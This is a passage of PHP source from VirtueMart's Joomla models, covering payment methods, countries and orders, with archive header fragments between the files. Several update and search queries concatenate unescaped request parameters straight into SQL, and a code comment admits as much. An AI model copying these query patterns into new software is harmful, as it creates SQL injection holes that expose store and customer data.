(count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $select = ' * FROM `#__virtuemart_paymentmethods_'.VMLANG.'` as l '; $joinedTables = ' JOIN `#__virtuemart_paymentmethods` USING (`virtuemart_paymentmethod_id`) '; $this->_data =$this->exeSortSearchListQuery(0,$select,$joinedTables,$whereString,' ',$this->_getOrdering() ); //$this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_paymentmethods`',$whereString,'',$this->_getOrdering('ordering')); if(isset($this->_data)){ if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); foreach ($this->_data as $data){ /* Add the paymentmethod shoppergroups */ $q = 'SELECT `virtuemart_shoppergroup_id` FROM #__virtuemart_paymentmethod_shoppergroups WHERE `virtuemart_paymentmethod_id` = "'.$data->virtuemart_paymentmethod_id.'"'; $this->_db->setQuery($q); $data->virtuemart_shoppergroup_ids = $this->_db->loadResultArray(); /* Write the first 5 shoppergroups in the list */ $data->paymShoppersList = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_paymentmethod_shoppergroups','virtuemart_paymentmethod_id',$data->virtuemart_paymentmethod_id,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','shoppergroup',4,0); } } return $this->_data; } /** * Bind the post data to the paymentmethod tables and save it * * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ public function store(&$data) { if(is_object($data)){ $data = (array)$data; } if(!empty($data['params'])){ foreach($data['params'] as $k=>$v){ $data[$k] = $v; } } if(empty($data['virtuemart_vendor_id'])){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $data['virtuemart_vendor_id'] = VirtueMartModelVendor::getLoggedVendor(); } $table = $this->getTable('paymentmethods'); if(isset($data['payment_jplugin_id'])){ // missing string FIX, Bad way ? if (JVM_VERSION===1) { $tb = '#__plugins'; $ext_id = 'id'; } else { $tb = '#__extensions'; $ext_id = 'extension_id'; } $q = 'SELECT `element` FROM `' . $tb . '` WHERE `' . $ext_id . '` = "'.$data['payment_jplugin_id'].'"'; $this->_db->setQuery($q); $data['payment_element'] = $this->_db->loadResult(); $q = 'UPDATE `' . $tb . '` SET `enabled`= 1 WHERE `' . $ext_id . '` = "'.$data['payment_jplugin_id'].'"'; $this->_db->setQuery($q); $this->_db->query(); // special case moneybookers if ( strpos($data['payment_element'] , "moneybookers" ) !==false) { $q = 'UPDATE `#__extensions` SET `enabled`= 1 WHERE `element` ="moneybookers"'; $this->_db->setQuery($q); $this->_db->query(); } JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $retValue = $dispatcher->trigger('plgVmSetOnTablePluginParamsPayment',array( $data['payment_element'],$data['payment_jplugin_id'],&$table)); } $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } $xrefTable = $this->getTable('paymentmethod_shoppergroups'); $xrefTable->bindChecknStore($data); $errors = $xrefTable->getErrors(); foreach($errors as $error){ vmError($error); } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); //Add a hook here for other shipment methods, checking the data of the choosed plugin $dispatcher = JDispatcher::getInstance(); $retValues = $dispatcher->trigger('plgVmOnStoreInstallPaymentPluginTable', array( $data['payment_jplugin_id'])); return $table->virtuemart_paymentmethod_id; } /** * Publish a field * * @author Max Milbers * */ /* public function published( $row, $i, $variable = 'published' ) { $imgY = 'tick.png'; $imgX = 'publish_x.png'; $img = $row->$variable ? $imgY : $imgX; $task = $row->$variable ? 'unpublish' : 'publish'; $alt = $row->$variable ? JText::_('COM_VIRTUEMART_PUBLISHED') : JText::_('COM_VIRTUEMART_UNPUBLISHED'); $action = $row->$variable ? JText::_('COM_VIRTUEMART_UNPUBLISH_ITEM') : JText::_('COM_VIRTUEMART_PUBLISH_ITEM'); $href = ' '. $alt .'' ; return $href; }*/ /** * Due the new plugin system this should be obsolete * function to render the payment plugin list * * @author Max Milbers * * @param radio list of creditcards * @return html */ public function renderPaymentList($selectedPaym=0,$selecedCC=0){ $payms = self::getPayments(false,true); $listHTML=''; foreach($payms as $item){ $checked=''; if($item->virtuemart_paymentmethod_id==$selectedPaym){ $checked='"checked"'; } $listHTML .= ''.$item->payment_name.'
      '; $listHTML .= '
      '; } return $listHTML; } /** * Creates a clone of a given shipmentmethod id * * @author Valérie Isaksen * @param int $virtuemart_shipmentmethod_id */ public function createClone ($id) { $this->setId ($id); $payment = $this->getPayment (); $payment->virtuemart_paymentmethod_id = 0; $payment->payment_name = $payment->payment_name.' Copy'; if (!$clone = $this->store($payment)) { vmError( 'createClone '. $payment->getError() ); } return $clone; } } PKs>\ L- - !com_virtuemart/models/country.phpnuW+AsetMainTable('countries'); array_unshift($this->_validOrderingFieldName,'country_name'); $this->_selectedOrdering = 'country_name'; $this->_selectedOrderingDir = 'ASC'; } /** * Retreive a country record given a country code. * * @author RickG * @param string $code Country code to lookup * @return object Country object from database */ function getCountryByCode($code) { $db = JFactory::getDBO(); $countryCodeLength = strlen($code); switch ($countryCodeLength) { case 2: $countryCodeFieldname = 'country_2_code'; break; case 3: $countryCodeFieldname = 'country_3_code'; break; default: return false; } $query = 'SELECT *'; $query .= ' FROM `#__virtuemart_countries`'; $query .= ' WHERE `' . $countryCodeFieldname . '` = "' . $code . '"'; $db->setQuery($query); return $db->loadObject(); } /** * Retrieve a list of countries from the database. * * @author RickG * @author Max Milbers * @param string $onlyPublished True to only retrieve the publish countries, false otherwise * @param string $noLimit True if no record count limit is used, false otherwise * @return object List of country objects */ function getCountries($onlyPublished=true, $noLimit=false, $filterCountry = false) { $where = array(); $this->_noLimit = $noLimit; // $query = 'SELECT * FROM `#__virtuemart_countries` '; /* add filters */ if ($onlyPublished) $where[] = '`published` = 1'; if($filterCountry){ $filterCountry = '"%' . $this->_db->getEscaped( $filterCountry, true ) . '%"' ; //$keyword = $this->_db->Quote($filterCountry, false); $where[] = '`country_name` LIKE '.$filterCountry.' OR `country_2_code` LIKE '.$filterCountry.' OR `country_3_code` LIKE '.$filterCountry; } $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $ordering = $this->_getOrdering(); return $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_countries`',$whereString,'',$ordering); } } //no closing tag pure phpPKs>\V$$ com_virtuemart/models/orders.phpnuW+Adb is never used in the model ? * @package VirtueMart * @author RolandD */ class VirtueMartModelOrders extends VmModel { /** * constructs a VmModel * setMainTable defines the maintable of the model * @author Max Milbers */ function __construct() { parent::__construct(); $this->setMainTable('orders'); $this->addvalidOrderingFieldName(array('order_name','order_email','payment_method','virtuemart_order_id' ) ); } /** * This function gets the orderId, for anonymous users * @author Max Milbers */ public function getOrderIdByOrderPass($orderNumber,$orderPass){ $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_order_id` FROM `#__virtuemart_orders` WHERE `order_pass`="'.$db->getEscaped($orderPass).'" AND `order_number`="'.$db->getEscaped($orderNumber).'"'; $db->setQuery($q); $orderId = $db->loadResult(); // vmdebug('getOrderIdByOrderPass '.$orderId); return $orderId; } /** * This function gets the orderId, for payment response * author Valerie Isaksen */ public static function getOrderIdByOrderNumber($orderNumber){ $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_order_id` FROM `#__virtuemart_orders` WHERE `order_number`="'.$db->getEscaped($orderNumber).'"'; $db->setQuery($q); $orderId = $db->loadResult(); return $orderId; } /** * This function seems completly broken, JRequests are not allowed in the model, sql not escaped * This function gets the secured order Number, to send with paiement * */ public function getOrderNumber($virtuemart_order_id){ $db = JFactory::getDBO(); $q = 'SELECT `order_number` FROM `#__virtuemart_orders` WHERE virtuemart_order_id="'.(int)$virtuemart_order_id.'" '; $db->setQuery($q); $OrderNumber = $db->loadResult(); return $OrderNumber; } /** * Was also broken, actually used? * * get next/previous order id * */ public function getOrderId($order_id, $direction ='DESC') { if ($direction == 'ASC') { $arrow ='>'; } else { $arrow ='<'; } $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_order_id` FROM `#__virtuemart_orders` WHERE `virtuemart_order_id`'.$arrow.(int)$order_id; $q.= ' ORDER BY `virtuemart_order_id` '.$direction ; $db->setQuery($q); if ($oderId = $db->loadResult()) { return $oderId ; } return 0 ; } /** * This is a proxy function to return an order safely, we may set the getOrder function to private * Maybe the right place would be the controller, cause there are JRequests in it. But for a fast solution, * still better than to have it 3-4 times in the view.html.php of the views. * @author Max Milbers * * @return array */ public function getMyOrderDetails($orderID = 0, $orderNumber = false, $orderPass = false){ $_currentUser = JFactory::getUser(); $cuid = $_currentUser->get('id'); $orderDetails = false; // If the user is not logged in, we will check the order number and order pass if(empty($orderID) and empty($cuid)){ // If the user is not logged in, we will check the order number and order pass if ($orderPass = JRequest::getString('order_pass',$orderPass)){ $orderNumber = JRequest::getString('order_number',$orderNumber); $orderId = $this->getOrderIdByOrderPass($orderNumber,$orderPass); if(empty($orderId)){ echo JText::_('COM_VIRTUEMART_RESTRICTED_ACCESS'); return false; } $orderDetails = $this->getOrder($orderId); } } else { // If the user is logged in, we will check if the order belongs to him $virtuemart_order_id = JRequest::getInt('virtuemart_order_id',$orderID) ; if (!$virtuemart_order_id) { $virtuemart_order_id = VirtueMartModelOrders::getOrderIdByOrderNumber(JRequest::getString('order_number')); } $orderDetails = $this->getOrder($virtuemart_order_id); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")) { if(!isset($orderDetails['details']['BT']->virtuemart_user_id)){ $orderDetails['details']['BT']->virtuemart_user_id = 0; } //if(!empty($orderDetails['details']['BT']->virtuemart_user_id)){ vmdebug('getMyOrderDetails',$cuid,$orderDetails['details']['BT']->virtuemart_user_id); if ($orderDetails['details']['BT']->virtuemart_user_id != $cuid) { echo JText::_('COM_VIRTUEMART_RESTRICTED_ACCESS'); return false; } //} } } return $orderDetails; } /** * Load a single order, Attention, this function is not protected! Do the right manangment before, to be certain * we suggest to use getMyOrderDetails */ public function getOrder($virtuemart_order_id){ //sanitize id $virtuemart_order_id = (int)$virtuemart_order_id; $db = JFactory::getDBO(); $order = array(); // Get the order details $q = "SELECT u.*,o.*, s.order_status_name FROM #__virtuemart_orders o LEFT JOIN #__virtuemart_orderstates s ON s.order_status_code = o.order_status LEFT JOIN #__virtuemart_order_userinfos u ON u.virtuemart_order_id = o.virtuemart_order_id WHERE o.virtuemart_order_id=".$virtuemart_order_id; $db->setQuery($q); $order['details'] = $db->loadObjectList('address_type'); // Get the order history $q = "SELECT * FROM #__virtuemart_order_histories WHERE virtuemart_order_id=".$virtuemart_order_id." ORDER BY virtuemart_order_history_id ASC"; $db->setQuery($q); $order['history'] = $db->loadObjectList(); // Get the order items $q = 'SELECT virtuemart_order_item_id, product_quantity, order_item_name, order_item_sku, i.virtuemart_product_id, product_item_price, product_final_price, product_basePriceWithTax, product_discountedPriceWithoutTax, product_priceWithoutTax, product_subtotal_with_tax, product_subtotal_discount, product_tax, product_attribute, order_status, p.product_available_date, p.product_availability, intnotes, virtuemart_category_id FROM (#__virtuemart_order_items i LEFT JOIN #__virtuemart_products p ON p.virtuemart_product_id = i.virtuemart_product_id) LEFT JOIN #__virtuemart_product_categories c ON p.virtuemart_product_id = c.virtuemart_product_id WHERE `virtuemart_order_id`="'.$virtuemart_order_id.'" group by `virtuemart_order_item_id`'; //group by `virtuemart_order_id`'; Why ever we added this, it makes trouble, only one order item is shown then. // without group by we get the product 3 times, when it is in 3 categories and similar, so we need a group by //lets try group by `virtuemart_order_item_id` $db->setQuery($q); $order['items'] = $db->loadObjectList(); // Get the order items $q = "SELECT * FROM #__virtuemart_order_calc_rules AS z WHERE virtuemart_order_id=".$virtuemart_order_id; $db->setQuery($q); $order['calc_rules'] = $db->loadObjectList(); // vmdebug('getOrder my order',$order); return $order; } /** * Select the products to list on the product list page * @param $uid integer Optional user ID to get the orders of a single user * @param $_ignorePagination boolean If true, ignore the Joomla pagination (for embedded use, default false) */ public function getOrdersList($uid = 0, $noLimit = false) { // vmdebug('getOrdersList'); $this->_noLimit = $noLimit; $select = " o.*, CONCAT_WS(' ',u.first_name,u.middle_name,u.last_name) AS order_name " .',u.email as order_email,pm.payment_name AS payment_method '; $from = $this->getOrdersListQuery(); /* $_filter = array(); if ($uid > 0) { $_filter[] = ('u.virtuemart_user_id = ' . (int)$uid); }*/ $where = array(); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check('storeadmin')){ $myuser =JFactory::getUser(); $where[]= ' u.virtuemart_user_id = ' . (int)$myuser->id.' AND o.virtuemart_vendor_id = "1" '; } else { if(empty($uid)){ $where[]= ' o.virtuemart_vendor_id = "1" '; } else { $where[]= ' u.virtuemart_user_id = ' . (int)$uid.' AND o.virtuemart_vendor_id = "1" '; } } if ($search = JRequest::getString('search', false)){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; $search = str_replace(' ','%',$search); $searchFields = array(); $searchFields[] = 'u.first_name'; $searchFields[] = 'u.middle_name'; $searchFields[] = 'u.last_name'; $searchFields[] = 'o.order_number'; $searchFields[] = 'u.company'; $searchFields[] = 'u.email'; $searchFields[] = 'u.phone_1'; $searchFields[] = 'u.address_1'; $searchFields[] = 'u.zip'; $where[] = implode (' LIKE '.$search.' OR ', $searchFields) . ' LIKE '.$search.' '; //$where[] = ' ( u.first_name LIKE '.$search.' OR u.middle_name LIKE '.$search.' OR u.last_name LIKE '.$search.' OR `order_number` LIKE '.$search.')'; } $order_status_code = JRequest::getString('order_status_code', false); if ($order_status_code and $order_status_code!=-1){ $where[] = ' o.order_status = "'.$order_status_code.'" '; } if (count ($where) > 0) { $whereString = ' WHERE (' . implode (' AND ', $where) . ') '; } else { $whereString = ''; } if ( JRequest::getCmd('view') == 'orders') { $ordering = $this->_getOrdering(); } else { $ordering = ' order by o.modified_on DESC'; } $this->_data = $this->exeSortSearchListQuery(0,$select,$from,$whereString,'',$ordering); return $this->_data ; } /** * List of tables to include for the product query * @author RolandD */ private function getOrdersListQuery() { return ' FROM #__virtuemart_orders as o LEFT JOIN #__virtuemart_order_userinfos as u ON u.virtuemart_order_id = o.virtuemart_order_id AND u.address_type="BT" LEFT JOIN #__virtuemart_paymentmethods_'.VMLANG.' as pm ON o.virtuemart_paymentmethod_id = pm.virtuemart_paymentmethod_id '; } /** * Update an order item status * @author Max Milbers * @author Ondřej Spilka - used for item edit also * @author Maik Künnemann */ public function updateSingleItem($virtuemart_order_item_id, &$orderdata, $orderUpdate = false) { //vmdebug('updateSingleItem',$virtuemart_order_item_id,$orderdata); $table = $this->getTable('order_items'); $table->load($virtuemart_order_item_id); $oldOrderStatus = $table->order_status; if(empty($oldOrderStatus)){ $oldOrderStatus = $orderdata->current_order_status; if($orderUpdate and empty($oldOrderStatus)){ $oldOrderStatus = 'P'; } } // $table->order_status = $orderdata->orderstatus; JPluginHelper::importPlugin('vmcustom'); $_dispatcher = JDispatcher::getInstance(); $_returnValues = $_dispatcher->trigger('plgVmOnUpdateSingleItem',array($table,&$orderdata)); $dataT = get_object_vars($table); // $doUpdate = JRequest::getString('update_values'); $orderdatacopy = $orderdata; $data = array_merge($dataT,(array)$orderdatacopy); // $data['order_status'] = $orderdata->orderstatus; if (!class_exists('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $this->_currencyDisplay = CurrencyDisplay::getInstance(); $rounding = $this->_currencyDisplay->_priceConfig['salesPrice'][1]; if ( $orderUpdate and !empty($data['virtuemart_order_item_id'])) { //get tax calc_value of product VatTax $db = JFactory::getDBO(); $sql = "SELECT `calc_value` FROM `#__virtuemart_order_calc_rules` WHERE `virtuemart_order_id` = ".$data['virtuemart_order_id']." AND `virtuemart_order_item_id` = ".$data['virtuemart_order_item_id']." AND `calc_kind` = 'VatTax' "; $db->setQuery($sql); $taxCalcValue = $db->loadResult(); if($data['calculate_product_tax']) { if(!$taxCalcValue){ //Could be a new item, missing the tax rules, we try to get one of another product. //get tax calc_value of product VatTax $db = JFactory::getDBO(); $sql = "SELECT `calc_value` FROM `#__virtuemart_order_calc_rules` WHERE `virtuemart_order_id` = ".$data['virtuemart_order_id']." AND `calc_kind` = 'VatTax' "; $db->setQuery($sql); $taxCalcValue = $db->loadResult(); } if(empty($data['product_subtotal_discount']))$data['product_subtotal_discount'] = 0.0; // "",null,0,NULL, FALSE => 0.0 //We do two cases, either we have the final amount and discount if(!empty($data['product_final_price']) and $data['product_final_price']!=0){ if(empty($data['product_tax']) or $data['product_tax']==0){ $data['product_tax'] = $data['product_final_price'] * $taxCalcValue / ($taxCalcValue + 100); //vmdebug($data['product_final_price'] .' * '.$taxCalcValue.' / '.($taxCalcValue + 100).' = '.$data['product_tax']); } if(empty($data['product_item_price']) or $data['product_item_price']==0){ if(empty($data['product_tax']))$data['product_tax'] = 0.0; $data['product_item_price'] = round($data['product_final_price'], $rounding) - $data['product_tax']; $data['product_discountedPriceWithoutTax'] = 0.0;// round($data['product_final_price'], $rounding) ; $data['product_priceWithoutTax'] = 0.0; $data['product_basePriceWithTax'] = round($data['product_final_price'], $rounding) - $data['product_subtotal_discount']; } } else //or we have the base price and a manually set discount. if(!empty($data['product_item_price']) and $data['product_item_price']!=0){ if(empty($data['product_tax']) or $data['product_tax']==0){ $data['product_tax'] = ($data['product_item_price']-$data['product_subtotal_discount']) * ($taxCalcValue/100.0); } $data['product_discountedPriceWithoutTax'] = 0.0; $data['product_priceWithoutTax'] = 0.0; $data['product_final_price'] = round($data['product_item_price'], $rounding) + $data['product_tax'] + $data['product_subtotal_discount']; $data['product_basePriceWithTax'] = round($data['product_final_price'], $rounding) - $data['product_subtotal_discount']; } } //$data['product_subtotal_discount'] = (round($orderdata->product_final_price, $rounding) - round($data['product_basePriceWithTax'], $rounding)) * $orderdata->product_quantity; $data['product_subtotal_with_tax'] = round($data['product_final_price'], $rounding) * $orderdata->product_quantity; } $table->bindChecknStore($data); if ( $orderUpdate ) { if ( empty($data['order_item_sku']) ) { //update product identification $db = JFactory::getDBO(); $prolang = '#__virtuemart_products_' . VMLANG; $oi = " #__virtuemart_order_items"; $protbl = "#__virtuemart_products"; $sql = "UPDATE $oi, $protbl, $prolang" . " SET $oi.order_item_sku=$protbl.product_sku, $oi.order_item_name=$prolang.product_name ". " WHERE $oi.virtuemart_product_id=$protbl.virtuemart_product_id " . " and $oi.virtuemart_product_id=$prolang.virtuemart_product_id " . " and $oi.virtuemart_order_item_id=$virtuemart_order_item_id"; $db->setQuery($sql); if ($db->query() === false) { vmError($db->getError()); } } } // Update the order item history //$this->_updateOrderItemHist($id, $order_status, $customer_notified, $comment); $errors = $table->getErrors(); foreach($errors as $error){ vmError( get_class( $this ).'::store '.$error); } //OSP update cartRules/shipment/payment //it would seem strange this is via item edit //but in general, shipment and payment would be tractated as another items of the order //in datas they are not, bu okay we have it here and functional //moreover we can compute all aggregate values here via one aggregate SQL if ( $orderUpdate ) { $db = JFactory::getDBO(); $ordid = $table->virtuemart_order_id; //cartRules $calc_rules = JRequest::getVar('calc_rules','', '', 'array'); $calc_rules_amount = 0; $calc_rules_discount_amount = 0; $calc_rules_tax_amount = 0; if(!empty($calc_rules)) { foreach($calc_rules as $calc_kind => $calc_rule) { foreach($calc_rule as $virtuemart_order_calc_rule_id => $calc_amount) { $sql = "UPDATE `#__virtuemart_order_calc_rules` SET `calc_amount`=$calc_amount WHERE `virtuemart_order_calc_rule_id`=$virtuemart_order_calc_rule_id"; $db->setQuery($sql); if(isset($calc_amount)) $calc_rules_amount += $calc_amount; if ($calc_kind == 'DBTaxRulesBill' || $calc_kind == 'DATaxRulesBill') { $calc_rules_discount_amount += $calc_amount; } if ($calc_kind == 'taxRulesBill') { $calc_rules_tax_amount += $calc_amount; } if ($db->query() === false) { vmError($db->getError()); } } } } //shipment $os = JRequest::getString('order_shipment'); $ost = JRequest::getString('order_shipment_tax'); if ( $os!="" ) { $sql = "UPDATE `#__virtuemart_orders` SET `order_shipment`=$os,`order_shipment_tax`=$ost WHERE `virtuemart_order_id`=$ordid"; $db->setQuery($sql); if ($db->query() === false) { vmError($db->getError()); } } //payment $op = JRequest::getString('order_payment'); $opt = JRequest::getString('order_payment_tax'); if ( $op!="" ) { $sql = "UPDATE `#__virtuemart_orders` SET `order_payment`=$op,`order_payment_tax`=$opt WHERE `virtuemart_order_id`=$ordid"; $db->setQuery($sql); if ($db->query() === false) { vmError($db->getError()); } } $sql = " UPDATE `#__virtuemart_orders` SET `order_total`=(SELECT sum(product_final_price*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid)+`order_shipment`+`order_shipment_tax`+`order_payment`+`order_payment_tax`+$calc_rules_amount, `order_discountAmount`=(SELECT sum(product_subtotal_discount) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid), `order_billDiscountAmount`=`order_discountAmount`+$calc_rules_discount_amount, `order_salesPrice`=(SELECT sum(product_final_price*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid), `order_tax`=(SELECT sum( product_tax*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid), `order_subtotal`=(SELECT sum(ROUND(product_item_price, ". $rounding .")*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid),"; if(JRequest::getString('calculate_billTaxAmount')) { $sql .= "`order_billTaxAmount`=(SELECT sum( product_tax*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid)+`order_shipment_tax`+`order_payment_tax`+$calc_rules_tax_amount"; } else { $sql .= "`order_billTaxAmount`=".JRequest::getString('order_billTaxAmount'); } $sql .= " WHERE `virtuemart_order_id`=$ordid"; $db->setQuery($sql); if ($db->query() === false) { vmError('updateSingleItem '.$db->getError().' and '.$sql); } } $this->handleStockAfterStatusChangedPerProduct($orderdata->order_status, $oldOrderStatus, $table,$table->product_quantity); // } } /** * Strange name is just temporarly * * @param unknown_type $order_id * @param unknown_type $order_status * @author Max Milbers */ var $useDefaultEmailOrderStatus = true; public function updateOrderStatus($orders=0, $order_id =0,$order_status=0){ //General change of orderstatus $total = 1 ; if(empty($orders)){ $orders = array(); $orderslist = JRequest::getVar('orders', array()); $total = 0 ; // Get the list of orders in post to update foreach ($orderslist as $key => $order) { if ( $orderslist[$key]['order_status'] !== $orderslist[$key]['current_order_status'] ) { $orders[$key] = $orderslist[$key]; $total++; } } } if(!is_array($orders)){ $orders = array($orders); } /* Process the orders to update */ $updated = 0; $error = 0; if ($orders) { // $notify = JRequest::getVar('customer_notified', array()); // ??? // $comments = JRequest::getVar('comments', array()); // ??? foreach ($orders as $virtuemart_order_id => $order) { if ($order_id >0) $virtuemart_order_id= $order_id; $this->useDefaultEmailOrderStatus = false; if($this->updateStatusForOneOrder($virtuemart_order_id,$order)){ $updated ++; } else { $error++; } } } $result = array( 'updated' => $updated , 'error' =>$error , 'total' => $total ) ; return $result ; } // IMPORTANT: The $inputOrder can contain extra data by plugins //also strange $useTriggers is always activated? function updateStatusForOneOrder($virtuemart_order_id,$inputOrder,$useTriggers=true){ // vmdebug('updateStatusForOneOrder', $inputOrder); /* Update the order */ $data = $this->getTable('orders'); $data->load($virtuemart_order_id); $old_order_status = $data->order_status; $data->bind($inputOrder); $cp_rm = VmConfig::get('cp_rm',array('C')); if(!is_array($cp_rm)) $cp_rm = array($cp_rm); if ( in_array((string) $data->order_status,$cp_rm) ){ if (!empty($data->coupon_code)) { if (!class_exists('CouponHelper')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php'); CouponHelper::RemoveCoupon($data->coupon_code); } } //First we must call the payment, the payment manipulates the result of the order_status if($useTriggers){ if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); // Payment decides what to do when order status is updated JPluginHelper::importPlugin('vmcalculation'); JPluginHelper::importPlugin('vmcustom'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $_dispatcher = JDispatcher::getInstance(); //Should we add this? $inputOrder $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderPayment',array(&$data,$old_order_status)); foreach ($_returnValues as $_returnValue) { if ($_returnValue === true) { break; // Plugin was successfull } elseif ($_returnValue === false) { return false; // Plugin failed } // Ignore null status and look for the next returnValue } $_dispatcher = JDispatcher::getInstance(); //Should we add this? $inputOrder $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderShipment',array(&$data,$old_order_status)); /** * If an order gets cancelled, fire a plugin event, perhaps * some authorization needs to be voided */ if ($data->order_status == "X") { $_dispatcher = JDispatcher::getInstance(); //Should be renamed to plgVmOnCancelOrder $_dispatcher->trigger('plgVmOnCancelPayment',array(&$data,$old_order_status)); } } if(empty($data->delivery_date)){ $del_date_type = VmConfig::get('del_date_type','m'); if(strpos($del_date_type,'os')!==FALSE){ //for example osS $os = substr($del_date_type,2); if($data->order_status == $os){ $date = JFactory::getDate(); $data->delivery_date = $date->toMySQL(); } } else { VmConfig::loadJLang('com_virtuemart_orders', true); $data->delivery_date = JText::_('COM_VIRTUEMART_DELDATE_INV'); } } if ($data->store()) { $task= JRequest::getCmd('task',0); $view= JRequest::getWord('view',0); /*if($task=='edit'){ $update_lines = JRequest::getInt('update_lines'); } else /*/ if ($task=='updatestatus' and $view=='orders') { $lines = JRequest::getVar('orders'); $update_lines = $lines[$virtuemart_order_id]['update_lines']; } else { $update_lines = 1; } if($update_lines==1){ vmdebug('$update_lines '.$update_lines); $q = 'SELECT virtuemart_order_item_id FROM #__virtuemart_order_items WHERE virtuemart_order_id="'.$virtuemart_order_id.'"'; $db = JFactory::getDBO(); $db->setQuery($q); $order_items = $db->loadObjectList(); if ($order_items) { // vmdebug('updateStatusForOneOrder',$data); foreach ($order_items as $order_item) { //$this->updateSingleItem($order_item->virtuemart_order_item_id, $data->order_status, $order['comments'] , $virtuemart_order_id, $data->order_pass); $this->updateSingleItem($order_item->virtuemart_order_item_id, $data); } } } /* Update the order history */ $this->_updateOrderHist($virtuemart_order_id, $data->order_status, $inputOrder['customer_notified'], $inputOrder['comments']); // When the plugins did not already notified the user, do it here (the normal way) //Attention the ! prevents at the moment that an email is sent. But it should used that way. // if (!$inputOrder['customer_notified']) { $this->notifyCustomer( $data->virtuemart_order_id , $inputOrder ); // } JPluginHelper::importPlugin('vmcoupon'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmCouponUpdateOrderStatus', array($data, $old_order_status)); if(!empty($returnValues)){ foreach ($returnValues as $returnValue) { if ($returnValue !== null ) { return $returnValue; } } } return true; } else { return false; } } /** * Update an order status and send e-mail if needed * @author RolandD * @author Oscar van Eijk * @deprecated */ public function updateStatus( $orders=null,$virtuemart_order_id =0){ $this -> updateOrderStatus($orders,$virtuemart_order_id); return; } /** * Get the information from the cart and create an order from it * * @author Oscar van Eijk * @param object $_cart The cart data * @return mixed The new ordernumber, false on errors */ public function createOrderFromCart($cart) { if ($cart === null) { vmError('createOrderFromCart() called without a cart - that\'s a programming bug','Can\'t create order, sorry.'); return false; } $usr = JFactory::getUser(); $prices = $cart->getCartPrices(); if (($orderID = $this->_createOrder($cart, $usr, $prices)) == 0) { vmError('Couldn\'t create order','Couldn\'t create order'); return false; } if (!$this->_createOrderLines($orderID, $cart)) { vmError('Couldn\'t create order items','Couldn\'t create order items'); return false; } if (!$this-> _createOrderCalcRules($orderID, $cart) ) { vmError('Couldn\'t create order items','Couldn\'t create order items'); return false; } $this->_updateOrderHist($orderID); if (!$this->_writeUserInfo($orderID, $usr, $cart)) { vmError('Couldn\'t create order history','Couldn\'t create order history'); return false; } return $orderID; } /** * Write the order header record * * @author Oscar van Eijk * @param object $_cart The cart data * @param object $_usr User object * @param array $_prices Price data * @return integer The new ordernumber */ private function _createOrder($_cart, $_usr, $_prices) { // TODO We need tablefields for the new values: // Shipment: // $_prices['shipmentValue'] w/out tax // $_prices['shipmentTax'] Tax // $_prices['salesPriceShipment'] Total // // Payment: // $_prices['paymentValue'] w/out tax // $_prices['paymentTax'] Tax // $_prices['paymentDiscount'] Discount // $_prices['salesPricePayment'] Total $_orderData = new stdClass(); $_orderData->virtuemart_order_id = null; $_orderData->virtuemart_user_id = $_usr->get('id'); $_orderData->virtuemart_vendor_id = $_cart->vendorId; $_orderData->customer_number = $_cart->customer_number; //Note as long we do not have an extra table only storing addresses, the virtuemart_userinfo_id is not needed. //The virtuemart_userinfo_id is just the id of a stored address and is only necessary in the user maintance view or for choosing addresses. //the saved order should be an snapshot with plain data written in it. // $_orderData->virtuemart_userinfo_id = 'TODO'; // $_cart['BT']['virtuemart_userinfo_id']; // TODO; Add it in the cart... but where is this used? Obsolete? $_orderData->order_total = $_prices['billTotal']; $_orderData->order_salesPrice = $_prices['salesPrice']; $_orderData->order_billTaxAmount = $_prices['billTaxAmount']; $_orderData->order_billDiscountAmount = $_prices['billDiscountAmount']; $_orderData->order_discountAmount = $_prices['discountAmount']; $_orderData->order_subtotal = $_prices['priceWithoutTax']; $_orderData->order_tax = $_prices['taxAmount']; $_orderData->order_shipment = $_prices['shipmentValue']; $_orderData->order_shipment_tax = $_prices['shipmentTax']; $_orderData->order_payment = $_prices['paymentValue']; $_orderData->order_payment_tax = $_prices['paymentTax']; if (!empty($_cart->cartData['VatTax'])) { $taxes = array(); foreach($_cart->cartData['VatTax'] as $k=>$VatTax) { $taxes[$k]['virtuemart_calc_id'] = $k; $taxes[$k]['calc_name'] = 